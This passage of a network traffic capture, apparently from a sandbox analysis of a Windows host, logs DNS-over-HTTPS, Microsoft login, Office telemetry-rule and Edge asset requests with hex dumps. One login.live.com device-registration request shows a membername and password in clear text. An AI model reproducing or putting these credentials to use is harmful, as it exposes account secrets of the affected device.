T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.7	49801	162.159.61.3	443	3632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:44 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-27 15:34:44 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.7	49798	20.190.177.82	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:44 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-27 15:34:44 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-27 15:34:44 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 27 Nov 2024 15:33:44 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C531_SN1 x-ms-request-id: 708829f5-0071-47cf-9a56-fba07020d2d0 PPServer: PPV: 30 H: SN1PEPF0002F02E V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 27 Nov 2024 15:34:44 GMT Connection: close Content-Length: 1276
2024-11-27 15:34:44 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.7	49802	20.190.177.82	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:44 UTC	446	OUT	POST /ppsecure/deviceaddcredential.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 7642 Host: login.live.com
2024-11-27 15:34:44 UTC	7642	OUT	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 71 75 65 73 74 3e 3c 43 6c 69 65 6e 74 49 6e 66 6f 20 6e 61 6d 65 3d 22 49 44 43 52 4c 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3e 3c 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 32 34 3c 2f 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 3c 2f 43 6c 69 65 6e 74 49 6e 66 6f 3e 3c 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 76 68 6c 74 6c 75 70 6a 67 6b 6f 6d 69 6f 3c 2f 4d 65 6d 62 65 72 6e 61 6d 65 3e 3c 50 61 73 73 77 6f 72 64 3e 37 31 4d 6b 6d 6e 62 23 2d 53 45 72 45 52 50 6b 3f 34 59 2d 3c 2f 50 61 73 73 77 6f 72 64 3e 3c 2f 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4f 6c 64 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 71 74 6c 74 6e 74 63 62 72 65 71 75 61 6a 3c 2f 4f 6c 64 4d Data Ascii: <DeviceAddRequest><ClientInfo name="IDCRL" version="1.0"><BinaryVersion>24</BinaryVersion></ClientInfo><Authentication><Membername>02vhltlupjgkomio</Membername><Password>71Mkmnb#-SErERPk?4Y-</Password></Authentication><OldMembername>02qtltntcbrequaj</OldM
2024-11-27 15:34:48 UTC	542	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/xml Expires: Wed, 27 Nov 2024 15:33:45 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C526_BL2 x-ms-request-id: a79b4e55-33b1-435a-9854-2e874e03de13 PPServer: PPV: 30 H: BL02EPF0001DA52 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 27 Nov 2024 15:34:48 GMT Connection: close Content-Length: 17166
2024-11-27 15:34:48 UTC	15842	IN	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 73 70 6f 6e 73 65 20 53 75 63 63 65 73 73 3d 22 74 72 75 65 22 3e 3c 73 75 63 63 65 73 73 3e 74 72 75 65 3c 2f 73 75 63 63 65 73 73 3e 3c 70 75 69 64 3e 30 30 31 38 34 30 31 31 39 43 45 45 38 39 33 42 3c 2f 70 75 69 64 3e 3c 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 33 3c 2f 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 3c 4c 69 63 65 6e 73 65 20 43 6f 6e 74 65 6e 74 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 2d 38 63 63 35 2d 62 32 66 35 33 63 38 33 30 62 37 36 22 20 49 44 3d 22 36 36 34 30 64 35 64 61 2d 30 65 65 38 2d 34 33 61 39 2d 61 61 31 65 2d 64 35 32 62 34 62 38 38 33 38 65 65 22 20 4c 69 63 65 6e 73 65 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 Data Ascii: <DeviceAddResponse Success="true"><success>true</success><puid>001840119CEE893B</puid><DeviceTpmKeyState>3</DeviceTpmKeyState><License ContentID="3252b20c-d425-4711-8cc5-b2f53c830b76" ID="6640d5da-0ee8-43a9-aa1e-d52b4b8838ee" LicenseID="3252b20c-d425-4711
2024-11-27 15:34:48 UTC	1324	IN	Data Raw: 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 39 2f 78 6d 6c 64 73 69 67 23 65 6e 76 65 6c 6f 70 65 64 2d 73 69 67 6e 61 74 75 72 65 22 2f 3e 3c 2f 54 72 61 6e 73 66 6f 72 6d 73 3e 3c 44 69 67 65 73 74 4d 65 74 68 6f 64 20 41 6c 67 6f 72 69 74 68 6d 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 30 34 2f 78 6d 6c 65 6e 63 23 73 68 61 32 35 36 22 2f 3e 3c 44 69 67 65 73 74 56 61 6c 75 65 3e 67 74 71 77 70 52 35 66 47 44 61 6f 48 73 4d 37 49 57 47 4b 5a 67 61 77 58 61 30 42 50 69 47 61 65 35 62 49 75 6e 2f 52 51 4a 41 3d 3c 2f 44 69 67 65 73 74 56 61 6c 75 65 3e 3c 2f 52 65 66 65 72 65 6e 63 65 3e 3c 2f 53 69 67 6e 65 64 49 6e 66 6f 3e 3c 53 69 67 6e 61 74 75 72 65 56 61 6c 75 65 3e 41 46 38 6f 46 52 2b 47 66 Data Ascii: tp://www.w3.org/2000/09/xmldsig#enveloped-signature"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><DigestValue>gtqwpR5fGDaoHsM7IWGKZgawXa0BPiGae5bIun/RQJA=</DigestValue></Reference></SignedInfo><SignatureValue>AF8oFR+Gf

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.7	49815	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:45 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:45 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:45 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 59a03737-a01e-00ab-1891-3f9106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153445Z-174f78459684bddphC1EWRbht40000000wsg00000000pn50 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:45 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.7	49818	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:45 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:45 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:45 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: c6f16635-c01e-0034-4354-402af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153445Z-174f7845968jrjrxhC1EWRmmrs0000000x5g00000000mg2y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:45 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.7	49817	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:45 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:46 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:45 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: b24172ee-901e-0016-3789-3fefe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153445Z-174f7845968kdththC1EWRzvxn00000009f000000000dnkw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:46 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.7	49819	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:45 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:46 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:45 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 5cf18767-601e-000d-7d91-3f2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153445Z-174f7845968n2hr8hC1EWR9cag0000000wr000000000k92k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:46 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.7	49820	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:45 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:46 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:45 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 7af319f3-d01e-0017-6a91-3fb035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153445Z-174f7845968n2hr8hC1EWR9cag0000000wng00000000sx19 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:46 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.7	49835	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:47 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:48 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:47 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: dd02da03-701e-001e-0d91-3ff5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153447Z-174f7845968kvnqxhC1EWRmf3g0000000fz0000000008u9x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:48 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.7	49836	13.107.246.63	443	3632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:47 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 15:34:48 UTC	556	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:47 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: 9a11ecc5-b01e-0075-317f-40efbc000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241127T153447Z-174f78459685726chC1EWRsnbg0000000x4000000000kq20 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:48 UTC	15828	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
